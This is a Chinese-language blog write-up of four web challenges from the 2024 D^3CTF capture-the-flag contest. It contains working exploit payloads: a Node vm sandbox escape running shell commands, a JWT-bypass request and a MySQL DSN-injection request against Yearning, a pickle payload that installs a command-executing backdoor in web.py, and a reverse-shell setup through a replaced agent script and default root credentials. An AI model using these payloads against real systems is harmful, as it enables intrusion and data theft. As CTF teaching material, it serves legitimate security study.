April 30, 2024

2024 凌武杯 x D^3CTF Web Writeup

MoonBox


getRemoteAgentStartCommand

通过ps -ef和上面的分析不难发现,运行流量录制实际上是在远程服务器ssh执行了

1
bash -c 'curl -o sandboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadSandBoxZipFile && curl -o moonboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadMoonBoxZipFile && rm -fr ~/sandbox && rm -fr ~/.sandbox-module &&  tar  -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar  -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar && sh ~/.sandbox-module/bin/start-remote-agent.sh moon-box-web rc_id_df0dab78e4bbd2603a1b4e4e45cd0d08%26http%3A%2F%2F127.0.0.1%3A8080%26OFF%26OFF'

所以替换moonbox里面的start-remote-agent.sh脚本就可以在远程服务器上进行rce。
Dockerfile里给出了root用户默认密码 root:123456,通过docker机器名moonbox-server可以访问内网的docker-moonbox-server容器,刚好这台容器有sshd,有root默认密码,并且有flag。
新建 “.sandbox-module\bin\start-remote-agent.sh” 写#!/bin/sh 反弹shell代码
新建 “sandbox\bin\sandbox.sh” 写 #!/bin/sh (否则dos2unix报错)
给可执行权限

1
2
tar -zcf moonbox.tar .sandbox-module
tar -zcf sandbox.tar sandbox

两个文件一起上传,运行流量录制 hostIp=moonbox-server 22 root 123456即可。

暂时无法在飞书文档外展示此内容
暂时无法在飞书文档外展示此内容

stack_overflow

注意到传入的参数可以是数组

如果args数组长度为1则不受join影响

据此可以闭合 js 代码,逃逸vm沙箱并执行系统命令

1
{"stdin":["');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //"]}

返回结果如下

1
{"stdout":["Starting Conversion...","Your input is:","');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //","0","0","0","0","...","Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739f0f40bc35}\n"],"result":["Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739f0f40bc35}\n"],"status":["ok"]}

Doctor

https://yearning.io/
版本3.1.7
https://github.com/cookieY/Yearning/releases
是最新版
默认账号/密码:admin/Yearning_admin
远程不是默认密码,鉴权用的是JWT,远程也设置了secret-key,不是默认的
https://github.com/cookieY/yee/blob/1c392ccd2d7dd7de0aa8964583ea1b2415179804/middleware/jwt.go#L82

如果是websocket请求,那么就直接return,不进行jwt读取。

加上这2个请求头后可以访问任意接口
但是不是所有接口都能正常调用,需要new(lib.Token).JwtParse(c)的接口全都会报错,因为没有赋值c.Get(“auth”)
审计源码可以发现一处接口



在此处发起mysql连接,由于gorm的驱动(底层是 https://github.com/go-sql-driver/mysql )默认是不允许任意local infile的(并且这里不可控host,如果拿到admin,可以新建数据源,就可控了),因此我们需要注入DSN参数来让它开启任意文件读取并且设置host
go-sql-driver/mysql解析dsn是以最后一个/和/左边的最后一个@解析的。 https://github.com/go-sql-driver/mysql/blob/master/dsn.go#L357

1
2
3
4
5
6
7
8
9
GET with body
http://47.100.57.142:30527/api/v2/fetch/fields?source_id=foo
Content-Type application/json
connection upgrade
upgrade websocket
{
"data_base":"root:passwd@tcp(1.1.1.1:3306)/foo?allowAllFiles=true&",
"table":"test"
}


最终loadlocalfile就可以读取到flag文件。

d3pythonhttp

这道题的key其实压根没啥

此处我们可以通过修改kid让他获取不到key,导致key默认为空即可。

题目在对于Chunked模式存在解析差异,当我们将chunked改为部分大写的话,此时web.py和Flask会存在解析差异
此时Flask会识别为chunked模式,web.py则不会

Web.py中要求全部是小写,因此到了后端服务获取到的就是根据Content-length截取的数据了,因此让请求头为
Transfer-Encoding: CHunked,然后Content-length关闭自动计算长度,我们手动截取payload(opcode的base64长度)

这样就可以让backend去加载opcode了
加一个恶意的Processer也就是filter进去就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pickle
import os
import builtins

code = '''

def Backdoor(handler):
import os
ctx = __import__('web').ctx
print(ctx.env)
command = ctx.env.get('HTTP_COMMAND',None)
if command:
command_output = os.popen(command).read()
return command_output
return handler()

app.add_processor(Backdoor)
'''.strip()

class Exploit:
def __reduce__(self):
cmd = (code,)
return (builtins.exec, (cmd,))

pickled_data = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(pickled_data).decode())

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#D3CTF